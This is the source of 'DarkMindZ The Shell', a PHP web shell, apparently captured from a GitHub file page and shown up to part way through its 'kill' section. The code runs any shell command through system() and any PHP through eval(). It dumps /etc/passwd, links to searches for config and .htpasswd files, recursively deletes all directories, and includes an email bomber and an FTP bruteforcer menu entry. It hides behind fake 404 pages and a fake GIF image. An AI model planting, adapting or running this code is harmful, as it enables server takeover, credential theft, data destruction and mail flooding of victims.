-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathDMZShell.php
3326 lines (2949 loc) · 116 KB
/
DMZShell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
/*---------------------------------------=========[ DarkMindZ The Shell ]=========----------------------------------*/
/*Made By --= RoMeO =--
/ Email: [email protected]
/ WWW: www.darkmindz.com
/ --========================--
/ Version -= Public Version 1.0 =-
/ --========================--
/ Anything you edit in the coding of this shell
/ you will have to send a copy to RoMeO @ [email protected] or [email protected]
/ any comments or suggestions, please use the feedback option in the shell..
/ --=[ ------------------------------------------------------------------------------------------------------------- ]=--*/
// OS Detection
$sys=strtolower(substr(PHP_OS,0,3));
$win = 0;
$linx = 0;
if ($sys == "win") {
$win = 1;
} else {
$linx = 1;
}
// End of OS Detection
//fake image - base64 encoded - thanks to R4z0rblade
$fakeimg="R0lGODlhQABAAPf/ADs7O0JCQoGCgZl7AImJiaGhoWZmZpKSkpmZmTQ0NHFxcVhYWFVEAF5eXlVVVW5ubk1NTY2Njf///3l5eWlpaWJiYnV1dcLCwVFRUb29vaaFAGlUAKWmpaqqqbm5uX5+frmUAEg6ALGxsSoqKhgYGN3d3bW1te3t7jYsAcXFxUlJSeHh4a2trdSrANXV1fHx8eXl5SIiItnZ2YRqAOnp6cnKyXpiAJycnJaWlsqiAPX19YaGhs3NzZ6enoSEhPn5+cKcAJSUlNHR0eK2AI5yAAAAALGOAHl3bnBaAGBNAA4ODicgA9yxAIOEg4CAgJSUk3Nzcufn59vc25ubm4uMi+Tk5IiHiMDAwJSTlJCQkK+wsKCgoGNjY2tsa5eXl7u7u/T09NjY2NDQz5WWlaSkpOjn57Ozs+Pk4+Dg4KOjo6ioqNjX13Nzc4SEg5OTk8zMzLe4uH9/f3d4d29vb7/Av6SjpGhoaJCPkLi3uIeHh6inqNPT09fY19TT1JWVlZucnKurqoWFhdTU1LS0tPPz8/b393d3d2xrbNPU1Hx8fNfX14B/gJ6dnu/w8OPj4pybnPDv8J2dndPU09zb29DP0N/f36urq5OUk4+Pj+/v76CgoYODg8vLy/Dw8IWGhre3t4yMjJaVlqCfoMTExIyMjZubmry8vezs7JCQkS8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WulkS6kgkA3ABvHIBWxQTOC4Ddtglz5pC3opDX0JAWD5jbawDusQAK4IfCMgkNIAAYfoDu1QAbSQDVCZAABgDhOwALuwC7YgDby5mqD5mxcYAPyAARjgly3WajPQaivJAEcVA7sgDRiANEhTAaGDASOADkSIAbsAlhSwDUEJlL75mxD/IA03uQrRmSlCqYMClmUFVmpHRQKpYJ7SiTRA9yUYAABKQAKmuA62AAEAcA0YsAqrwJviyZcq0J8Q00IYcIMqFmMAFl1KoAQxAAAQcDj2Y0YVMJ20cIMGMAIOkArC0A7YsADrUKC/KaAVej+8I50LIA2AVlrRhV1FEIwB4AC0cKP3ozQNYA4NsA32sw3KxUQPAACHCAXymCmguQ78MJzEOZ8OIA0AwI8jIJwJcFejNVpTKg1Kk0n4ZQ7mgJmYWQG80wBcIAxcUEYPwA8WIJH0gzQYUKJfSZolqgJSGAMReqd3OqEJkHQhAJABuQvrEDFAKgyESqgV0AARs1wqdaih/yOmbeoA/ECaEKACdpmI+0gC+Smhw4inSgAA/RgCADB5mJqfMfCR5qmi9BNESyMMBpANmTQHsDk/mUKc/ACa0mALWel7G+mN12mneEoCCRChtEkC/2inMQCO6HCTIKkCEBCdPapcrJoNh+oOPmo/DrAOGFCrJTqpypqrAbmL+6gE30isu0CsEOCNxBqMAFCivMmZzQoxQFoBKkUvZwoFDzOrxPmm27oKepmbuZmXq2ALRwef/5gKtlCqA4kO8Fmq9kgtLGo/+KWoLUOvkfkwbkotkZqtBfqZcVqcHveYxxqYN+mNUqiRTrSj80M/8/OlFSA9E0uv2wAFhcOk+fqmtWgKAUqasxRIn/zgcQGAqz35swIbANIQAwGwCg7QAMqFmT0apsrVqpBGAcRARnPgozh6o/OjSTeKX136pWHaABiA";
//end of fake image
$nfile = $_POST['nfile'];
$action = $_GET['action']; // The menu, ingelo's Edit
// Shell Settings
$reqagent = $_SERVER['HTTP_USER_AGENT'];// user agent Variable
//Protection Config, choose one only, you can choose auth and fakeimage, or auth and agent, but that is it...
// Safe Mode, Idea by wolfrat
$safe = 0; // Safe Mode, the shell will not show unless the $word is used,, IE: shell.php?secret&action=index , still needs improving :)
$word = "secret";
if ($safe == 1) {
if (!isset($_GET[$word])) {
echo "
<title>404 Not Found</title>
<H1>Not Found</H1><br>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.31 Server at ".$HTTP_SERVER_VARS["HTTP_HOST"]." Port 80</ADDRESS>";
exit;
}
}
// end of Safe Mode
$fakeimage = 0; //turn fake image protection on or off
$agent = 0;// turn user agen protection on or off
$auth = 0; // turn basic auth on or off
$adminmail='[email protected]'; // your email, to recieve an email if someone tried to access the shell with wrong user or pass
$adminfrom='[email protected]'; // the senders email
$safe_mode = @ini_get('safe_mode'); // assign safe_mode to get safe mode stats
// this is the email that will be sent to you when someone tries to access the shell.
$warnMsg ="
This is DarkMindZ The Shell...
installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF
just to let you know that somebody tryed to access
the script using wrong username or password:
=- Date: ".date("Y-m-d H:i:s")."
=- IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]."
=- User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]."
=- username used: $PHP_AUTH_USER
=- password used: $PHP_AUTH_PW
If this is not the first time it happens,
please consider either to remove the shell
from your system or change it's name or
directory location on your server.
Regards...
The DarkMindZ Staff";
// End of email
// Fake Image/User Agent
if ($fakeimage == 1) {
if ($reqagent != "agent") {
header("Content-type: image/gif");
die(base64_decode($fakeimg));
}
}
// End of fake image
// User Agent
if($agent == 1) {
if($reqagent != "romeo") {
die("
<title>404 Not Found</title>
<H1>Not Found</H1><br>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.31 Server at ".$HTTP_SERVER_VARS["HTTP_HOST"]." Port 80</ADDRESS>");
}
}
// End of User Agent Protection
// Basic Auth
if($auth == 1) {
$username = "dXNlcg";// Base64 Encoded User, N00b Killer xD
$password = "cGFzcw";// Base64 Encoded Pass, ^^
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="'.$HTTP_SERVER_VARS["HTTP_HOST"].'"');
header('HTTP/1.0 404 Not Found');
echo "
<title>404 Not Found</title>
<H1>Not Found</H1><br>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.31 Server at ".$HTTP_SERVER_VARS["HTTP_HOST"]." Port 80</ADDRESS>
";
exit();
} else {
if (($_SERVER['PHP_AUTH_USER'] == (base64_decode($username))) && ($_SERVER['PHP_AUTH_PW'] == (base64_decode($password)))) {
} else {
header('HTTP/1.0 404 Not Found');
mail($adminmail,"DarkMindZ WARNING!",$warnMsg,"From: $adminfrom\nX-Mailer:DarkMindZ AutoWarn System");// emails the warning email...
echo "
<H1>Not Found</H1><br>
The requested URL was not found on this server.<P>
<HR>
<ADDRESS>Apache/1.3.31 Server at ".$HTTP_SERVER_VARS["HTTP_HOST"]." Port 80</ADDRESS>
";
exit();
}
}
}
// End of config, anything you edit after this point need to be reported to RoMeO
?>
<html>
<head>
<!-- Copyrights reserved for RoMeO || DarkMindZ.com -->
<title><?php echo base64_decode("LS09IERhcmtNaW5kWiB8fCBUaGUgU2hlbGwgPS0t") ?></title>
<style>
BODY
{
SCROLLBAR-FACE-COLOR: #000000;
SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000;
COLOR: #CCCCCC;
SCROLLBAR-3DLIGHT-COLOR: #726456;
SCROLLBAR-ARROW-COLOR: #726456;
SCROLLBAR-TRACK-COLOR: #292929;
FONT-FAMILY: Verdana;
SCROLLBAR-DARKSHADOW-COLOR: #726456;
background-color: #1B1B1D;
border-top-color: #00FF00;
border-right-color: #00CC00;
border-bottom-color: #009900;
border-left-color: #006600;
font-size: small;
}
td
{
color: #cccccc;;
}
.grey
{
color: #999999;
}
input
{ BACKGROUND-COLOR: #333333;
font: small tahoma;
color: #00ff00;;
}
.txtbox
{ BACKGROUND-COLOR: #333333;
color: #00ff00;
font-family: "Fixedsys bold";
border-style: solid;
border-width: 1px;
}
.menu {
font-family: terminal;
font-size: xx-small;
font-style: normal;
font-weight: lighter;
color: #666666;
}
a:link {color: #00CC00; text-decoration: none;}
a:active {color: #00FF00; text-decoration: none;}
a:visited {color: #999999; text-decoration: none;}
a:hover {color: #00FF00; text-decoration: none;}
textarea {
background-color: #333333;
border-style: solid;
border-width: 1px;
font-family: verdana, arial, sans-serif;
font-size: 11px;
color: #00ff00;
padding: 0px;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body text="#333333" link="#CCCCCC">
<table width="100%" height="91" border="2" align="center" cellpadding="3" cellspacing="3">
<tr>
<td height="25" bgcolor="#000000"><div align="center">
<p>
<font size="-2">--=| Safe-Mode: <?php echo (($safe_mode)?("<font color=#008000>ON!!</font>"):("<font color=red>OFF!!</font>"));?> ||
Server IP: <?php echo '<b>'.gethostbyname($_SERVER["HTTP_HOST"]).'</b>'?> ||
Your IP: <?php echo '<b>'.$_SERVER["REMOTE_ADDR"].'</b>'?> ||
Shell Folder: <?php echo '<b>'.$_SERVER['SCRIPT_FILENAME']/* ADDED A $_SEVER['SCRIPTFILENAME'] instead of $SCRIPT_FILENAME*/. '</b>' ?> |=--</font></p>
</div>
</td>
</tr>
<tr>
<td height="25" bgcolor="#000000"><div align="center"><font size="-2">
<a href="?action=index">Home</a> ||
<a href="?action=shell">Execute code</a> ||
<a href="?action=php"> Execute a php code </a> ||
<a href="?action=files">Files Management</a> ||
<a href="?action=tools">Tools</a> ||
<a href="?action=comms">Fast Access</a> ||
<a href="?action=infos">Server Info.</a> ||
<a href="?action=kill">KILL IT!</a> ||
<a href="?action=list">List of Commands</a> ||
<a href="?action=feedback">Feedback</a> ||
<a href="?action=about">About</a> ||
<a href="?update">Update</a>
</font>
</div>
</td>
</tr>
</table>
<br>
<table width="67%" height="221" border="2" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="217" nowrap><font size="-2">Command </font><br>
<textarea name="textarea" readonly style="width:100%; height:88% ;border: #33333; background-color: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px">
<?php
if ($action == "cmd1") {
// Changed all by Ingelo
if(isset($_POST['cmd1'])){
$cmd1 = stripslashes($_POST['cmd1']);
$check = @system($cmd1);
if($check){
echo $check;
}
else {
echo "An Error Occured While Executing Command!";
}
}
else {
echo "You Must Specify A Command!";
}
}
// End of Ingelo Change
?>
</textarea>
</td>
</tr>
</table>
<br>
<tr>
<td width="28%" height="325"> <table width="80%" height="289" border="2" align="center" cellpadding="0" cellspacing="0" bordercolor="#666666" bgcolor="#000000">
<tr>
<td height="61" colspan="2" nowrap bordercolor="#CCCCCC"> <font size="-2">Execute
Command:</font> <div align="center">
<form name="form1" method="post" action="?action=cmd1">
<div align="center"><font size="-1">Command:</font>
<input name="cmd1" type="text" size="90">
<input type="submit" name="Submit" value="Execute">
</div>
</form>
</div>
</td>
</tr>
<tr align="left" valign="top">
<td height="80" colspan="2" align="left" valign="top" bordercolor="#CCCCCC">
<center>
</center>
<?php
// Welcome Message
if ($action == "") {
echo base64_decode('PGNlbnRlcj48aDI+LS09WyBEYXJrTWluZFogfHwgVGhlIFNoZWxsIF09LS08aDI+PC9jZW50ZXI+PC8gYnI+PGNlbnRlcj48aDM+LS09IEJ5IFJvTWVPID0tLTwvaDM+PC9jZW50ZXI+');
}
elseif ($action == "index") {
echo base64_decode('PGNlbnRlcj48aDI+LS09WyBEYXJrTWluZFogfHwgVGhlIFNoZWxsIF09LS08aDI+PC9jZW50ZXI+PC8gYnI+PGNlbnRlcj48aDM+LS09IEJ5IFJvTWVPID0tLTwvaDM+PC9jZW50ZXI+');
}
?>
<?php
//feedback
if ($action == "feedback") {
echo '<center><form method="POST" action="?action=feedgo"></center><br>';
echo 'Name:<br>';
echo '<center><input type="text" name="fromemail" size="30" value=""></center><br>';
echo 'Suggestions - Comments:<br>';
echo '<center><textarea name="suggestion" cols="40" rows="6" wrap="VIRTUAL"></textarea></center><br>';
echo '<center><input name="submit" type="submit" value="Send Email"></center>';
echo '</form>';
echo "</table>";
exit;
} elseif ($action == "feedgo") {
$from="[email protected]";
$to="[email protected]";
$suggestion = $_POST['suggestion'];
echo '<center>Success!, Email sent to: <b> RoMeO </b>...<br></center>';
mail($to,"Feedback",$suggestion,"From: $from\nX-Mailer:DarkMindZ FeedBack System");
echo "</table>";
exit;
}
?>
<?php
// start of calls
// shell code
if ($action == "shell") {
echo '<center>Enter shell code to execute: </center>';
echo '<center><form method="POST" action="?action=shellgo"></center>';
echo '<center><textarea name="cmd" cols="50" rows="10"></textarea><br></center>';
echo '<center><input type="submit" value="Execute"></form></center>';
echo "</table>";
exit;
} elseif ($action == "shellgo") {
$cmd = $_POST['cmd'];
$cmd = stripslashes($cmd);
echo '<center>The shell code <b>'.$cmd.'</b> has been executed on server.<br></center>';
echo '<center>The server responded:<br><br>';
system($cmd);
echo "</table>";
exit;
}
// End of Shell Code
?>
<?php
//server info
if ($action == "infos") {
echo 'Server information<br><br>';
echo 'Shell file:<b> '.$_SERVER['SCRIPT_NAME'].'</b><br>'; // Made $_SERVER['SCRIPT_NAME'] instead of $STRIP_NAME
echo 'Shell URL:<b> '.$_SERVER['SCRIPT_FILENAME'].'</b><br>'; // Done the same with all the things down here. added $_SERVER['COMMAND_HERE'].
echo 'OS & PhpVersion:<b> '.$_SERVER['SERVER_SOFTWARE'].'</b><br>';
echo 'Admin Email:<b> '.$_SERVER['SERVER_ADMIN'].'</b><br>';
echo 'Server name:<b> '.$_SERVER['SERVER_NAME'].'</b><br>';
echo 'Server cookie:<b> <script>document.write(document.cookie)</script></b><br>';
echo 'Server ip:<b> '.$_SERVER['SERVER_ADDR'].'</b> (Running on port<b> '.$_SERVER['SERVER_PORT'].'</b>)<br>';
echo 'CGI Version:<b> '.$_SERVER['GATEWAY_INTERFACE'].'</b><br>';
echo 'Request Method:<b> '.$_SERVER['REQUEST_METHOD'].'</b><br>';
echo 'HTTP Protocol Version:<b> '.$_SERVER['SERVER_PROTOCOL'].'</b><br>';
echo 'HTTP Heading Accept:<b> '.$_SERVER['HTTP_ACCEPT'].'</b><br>';
echo 'HTTP User Agent:<b> '.$_SERVER['HTTP_USER_AGENT'].'</b><br>';
echo 'HTTP Accept Charset:<b> '.$_SERVER['HTTP_ACCEPT_CHARSET'].'</b><br>';
echo 'HTTP Accept Encodingt:<b> '.$_SERVER['HTTP_ACCEPT_ENCODING'].'</b><br>';
echo 'HTTP Accept Language:<b> '.$_SERVER['HTTP_ACCEPT_LANGUAGE'].'</b><br>';
echo 'HTTP Heading Connection Protocol:<b> '.$_SERVER['HTTP_CONNECTION'].'</b><br>';
echo 'HTTP Heading Host Protocol:<b> '.$_SERVER['HTTP_HOST'].'</b>';
echo "<br><br><br>";
echo "</table>";
exit;
} else if ($action == "phpinfo") {
phpinfo();
echo "</table>";
exit;
}
//end of server info
?>
<?php
// Email Bomb, With the help of F2B
if ($action == "bomb") {
@set_time_limit(0);
@ignore_user_abort(1);
$email=$_POST['email'];
$num=$_POST['num'];
$text=$_POST['text'];
$kb=$_POST['kb'];
if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) {
$num_text=strlen($text)+1;
$num_kb=(1024/$num_text)*$kb;
$num_kb=ceil($num_kb);
for ($i=1; $i<=$num_kb; $i++) {
$msg=$msg.$text." ";
}
for ($i=1; $i<=$num; $i++) {
mail($email, $text, $msg, "From: $ymail");
}
$all_kb=$num*$kb;
echo <<<EOF
<p align="center">Victim: <b><font color="lime">$email</font></b><br>
Quantity of letters: <b><font color="lime">$num</font></b><br>
Total size: <b><font color="lime">$all_kb kb</font></b><br></p>
EOF;
exit;
}
else {
echo <<<EOF
<form action="?action=bomb" method="post">
<table align="center" border="1" bordercolor="#000000">
<tr><td>To:</td><td><input type="text" name="email" value="[email protected]" size="25"></td></tr>
<tr><td>From:</td><td><input type="text" name="ymail" value="[email protected]" size="25"></td></tr>
<tr><td>Number:</td><td><input type="text" name="num" value="5" size="25"></td></tr>
<tr><td>Text:</td><td><input type="text" name="text" value="--=[ BoMbEd ]=--" size="25"></td></tr>
<tr><td>Size (kb):</td><td><input type="text" name="kb" value="10" size="25"></td></tr>
<tr><td colspan="2" align="center"><input type="submit"></td></tr>
</table>
</form>
EOF;
exit;
}
}
// End of Email Bomber
?>
<?php
// php code
if ($action == "php") {
echo '<center>Enter PHP code to execute:<br></center>';
echo '<center><body bgcolor="#000000" text="#00FF00"><form method="POST" action="?action=phpgo"></center>';
echo '<center><textarea name="cmd" cols="50" rows="10"></textarea><br></center>';
echo '<center><input type="submit" value="Execute"></form></center>';
echo "</table>";
exit;
} else if ($action == "phpgo") {
echo '<center>---=================---<br><br></center>';
$cmd = $_POST['cmd'];
$postcmd = stripslashes($cmd);
echo '<center>The PHP code <b>'.$postcmd.'</b> has been executed.<br></center>';
echo '<center>The server responded:<br><br></center>';
$check = @eval($postcmd);
if($check){
echo $check;
}
else {
echo "Command could not be executed!<br />";
}
echo "</table>";
exit;
}
//end of php code
?>
<?php
// Dir Remover
if ($action == "deldir") {
function remove_directory($dir) {
if ($handle = opendir("$dir")) {
while (false !== ($item = readdir($handle))) {
if ($item != "." && $item != "..") {
if (is_dir("$dir/$item")) {
remove_directory("$dir/$item");
} else {
unlink("$dir/$item");
echo " removing $dir/$item<br>\n";
}
}
}
closedir($handle);
rmdir($dir);
echo "removing $dir<br>\n";
}
}
function folderlist(){
$startdir = './';
// Below are folders to be excluded from our user list
$ignoredDirectory[] = '.';// if these two are removed, the shell well delete everything!!
$ignoredDirectory[] = '..';
if (is_dir($startdir)){
if ($dh = opendir($startdir)){
while (($folder = readdir($dh)) !== false){
if (!(array_search($folder,$ignoredDirectory) > -1)){
if (filetype($startdir . $folder) == "dir"){
$directorylist[$startdir . $folder]['name'] = $folder;
$directorylist[$startdir . $folder]['path'] = $startdir;
}
}
}
closedir($dh);
}
}
return($directorylist);
}
$folders = folderlist();
foreach ($folders as $folder){
$path = $folder['path'];
$name = $folder['name'];
remove_directory($name);
}
}
// End of Dir Deleter
?>
<?php
// file manager
if ($action == "files") {
echo '<center>---=================---<br><br></center>';
echo '<center>Create a new file:<br><br></center>';
echo '<center><form method="POST" action="?action=filenew"></center>';
echo '<center>File name: <input type="text" name="nfile" size="30" value="your-file.txt"><br></center>';
echo '<center><input type="submit" value="Create"></form></center>';
echo '<center><center><br>---=================---<br><br></center>';
echo '<center>Delete a file:<br><br></center>';
echo '<center><form method="POST" action="?action=filedel"></center>';
echo '<center>File name: <input type="text" name="nfile" size="30" value="your-file.txt"><br></center>';
echo '<center><input type="submit" value="Delete"></form></center>';
echo '<center><br>---=================---<br><br></center>';
echo '<center>Modify a file:<br><br></center>';
echo '<center><form method="POST" action="?action=filemod"></center>';
echo '<center>File name: <input type="text" name="nfile" size="30" value="your-file.txt"><br></center>';
echo '<center><input type="submit" value="Modify"></form></center>';
echo '<center><br>---=================---<br><br></center>';
echo '<center>Read a file:<br><br>';
echo '<center><form method="POST" action="?action=fileread"></center>';
echo '<center>File name: <input type="text" name="nfile" size="30" value="your-file.txt"><br></center>';
echo '<center><input type="submit" value="Read"></form></center>';
echo '<center><br>---=================---<br><br></center></center>';
echo '<center>Rename a file:<br><br>';
echo '<center><form method="POST" action="?action=filename"></center>';
echo '<center>File name: <input type="text" name="nfile" size="30" value="your-file.txt"><br><br></center>';
echo '<center>New name: <input type="text" name="newfile" size="30" value="your-new-file.txt"><br></center>';
echo '<center><input type="submit" value="Rename"></form></center>';
echo '<center><br>---=================---<br><br></center>';
echo "</table>";
exit;
// Create A New FIle
} else if ($action == "filenew") {
echo 'The file <b> '.$nfile.' </b> was created successfully!<br><br>';
$index=fopen($nfile,'a');
fwrite($index,'');
fclose($index);
echo "</table>";
exit;
// End of New File
// Delete File
} else if ($action == "filedel") {
echo 'The file <b> '.$nfile.' </b>';
// EDITED BY INGELO
// unlink($nfile); THIS WAS THE OLD SCRIPT
if(file_exists($nfile)){
$delete_file = @unlink($nfile);
if($delete_file){
echo "was deleted succesfully!<br/><br/>";
}
else {
echo "could not be deleted due to access.<br/><br/>";
}
}
else {
echo "could not be deleted, because the file don't exists.<br/><br/>";
}
echo "</table>";
exit;
// END EDIT
// End Delete File
// File Modify
} else if ($action == "filemod") {
echo 'Modifing <b> '.$nfile.' </b>:<br><br>';
if(file_exists($nfile)){
echo '<form method="POST" action="?action=filemodgo&nfile='.$nfile.'">';
if(filesize($nfile) > 0){
$index = fopen($nfile, "r");
$ct = fread($index, filesize($nfile));
$ct = htmlentities ($ct, ENT_QUOTES);
$ct = nl2br($ct);
echo '<textarea name="newctt" cols="50" rows="10">'.$ct.'</textarea><br>';
echo '<input type="submit" value="Save modification"></form>';
}
else {
$ct = "";
echo '<textarea name="newctt" cols="50" rows="10">'.$ct.'</textarea><br>';
echo '<input type="submit" value="Save modification"></form>';
}
}
else {
echo "File does not exists...";
}
echo "</table>";
exit;
} else if ($action == "filemodgo") {
// EDITED BY INGELO
$nfile = $_GET['nfile'];
if(file_exists($nfile)){
echo 'The file <b> '.$nfile.' </b> has modified successfully!<br><br>';
$newctt = stripslashes($_POST['newctt']);
$index = fopen($nfile, "w");
fwrite($index, $newctt);
}
else {
echo 'The file <b> ' . $nfile . '</b> does not exists!<br/><br/>';
}
echo "</table>";
exit;
// End Of File Modify
// Read A File
} else if ($action == "fileread") {
echo 'Reading <b> '.$nfile.' </b> ...<br><br>';
if(!file_exists($nfile)){
echo "File does not exists...";
}
else {
if(filesize($nfile) > 0){
$index = fopen($nfile, "r");
$ct = fread($index, filesize($nfile));
$ct = htmlentities ($ct, ENT_QUOTES);
$ct = nl2br($ct);
}
else {
$ct = "Nothing in this file...";
}
echo $ct;
echo "</table>";
exit;
// End Read File
}// Rename File
} else if ($action == "filename") {
copy($nfile, $newfile);
unlink($nfile);
echo "</table>";
exit;
}
// End File Rename
//end of file manager
?>
<?php
// fast access menu
if ($action == "comms") {
echo 'Choose command:<br><br> ';
echo '<a href="?action=passwd">=- Passwd </a><br>';
echo '<a href="?action=cfg">=- Find config* files </a><br>';
echo '<a href="?action=cfginc">=- Find config.inc.php files </a><br>';
echo '<a href="?action=cfgcurr">=- Find config* files in current dir </a><br>';
echo '<a href="?action=write">=- Find all writable folders and files </a><br>';
echo '<a href="?action=hta">=- Find all .htaccess </a><br>';
echo '<a href="?action=htp">=- Find all .htpasswd </a><br>';
echo '<a href="?action=ports">=- Opened Ports </a><br>';
echo '<a href="?action=cpanel">=- Cpanel Logs </a><br>';
echo '<a href="?action=services">=- Services Running</a><br>';
echo '<a href="?action=deldir">=- Delete all dirs.</a><br>';
echo '<a href="?action="></a><br>';
echo "</table>";
exit;
// End of fast access menu
// Get Passwd
} elseif ($action == "passwd") {
$cmd = 'cat /etc/passwd';
$check = system($cmd);
if($check){ // Check if the /etc/passwd file exists. If it does it will show it.
echo 'The Passwd File:<br>';
echo system($cmd);
}
else { // Else it will tell that it couldn't find it.
echo "Could not find /etc/passwd..";
}
echo "</table>";
exit;
}
// End of Passwd
?>
<?php
// tools menu
if ($action == "tools") {
echo 'Choose a tool:<br>';
echo '<a href="?action=md5">=- MD5 Encoder </a><br>';
echo '<a href="?action=b64e">=- Base64 Encoder </a><br>';
echo '<a href="?action=b64d">=- Base64 Decoder </a><br>';
echo '<a href="?action=ftp">=- FTP Bruteforcer </a><br>';
echo '<a href="?action=bomb">=- Email Bomber </a><br>';
echo '<a href="?action=winx">=- Windows Tools </a><br>';
echo '<a href="?action=linx">=- Other OS Tools </a><br>';
echo "</table>";
exit;
//end of menu
// md5 encoder
} elseif ($action == "md5") {
echo '<center>MD5 Encoder</center></br>';
echo '<center>Text:</center>';
echo '<center><form method="POST" action="?action=md5x"></center>';
echo '<center><textarea name="tot" rows="5" cols="42"></textarea></center><br>';
echo '<center><input type="submit" value="Enter"></center><br>';
echo "</table>";
exit;
} elseif ($action == "md5x") {
echo 'Text Encoded: <b>' . strip_tags($_POST['tot']) . '</b><br>';
echo 'MD5 Encoder:<b><font color="lime">' .md5($_POST["tot"]). ' </font></b><br>';
echo "</table>";
exit;
//end of md5 encoder
// base64 encoder
} elseif ($action == "b64e") {
echo '<center>Base64 Encoder:</center></br>';
echo '<center>Text:</center>';
echo '<center><form method="POST" action="?action=b64x1"></center>';
echo '<center><textarea name="tot" rows="5" cols="42"></textarea></center><br>';
echo '<center><input type="submit" value="Enter"></center><br>';
echo "</table>";
exit;
} elseif ($action == "b64x1") {
echo 'Text Encoded: <b>' . strip_tags($_POST['tot']) . '</b><br>';
echo 'Base64 Encoder:<b><font color="lime">' .base64_encode($_POST["tot"]). '</font></b>';
echo "</table>";
exit;
// end of base64 encoder
// base64 decoder
} elseif ($action == "b64d") {
echo '<center>Base64 Decoder:</center></br>';
echo '<center>Text:</center>';
echo '<center><form method="POST" action="?action=b64x2"></center>';
echo '<center><textarea name="tot" rows="5" cols="42"></textarea></center><br>';
echo '<center><input type="submit" value="Enter"></center><br>';
echo "</table>";
exit;
} elseif ($action == "b64x2") {
echo 'Text Decoded: <b>' . strip_tags($_POST['tot']) . '</b><br>';
echo 'Base64 Decoder:<b><font color="lime">' .base64_decode($_POST["tot"]). '</font></b>';
echo "</table>";
exit;
}
// end of base64 decoder
?>
<?php
// kill the shell
if ($action == "kill") {
echo '<br><br><font color="#FF0000"><strong><center>---========- WARNING -=========---</center></strong></font><br><br>';
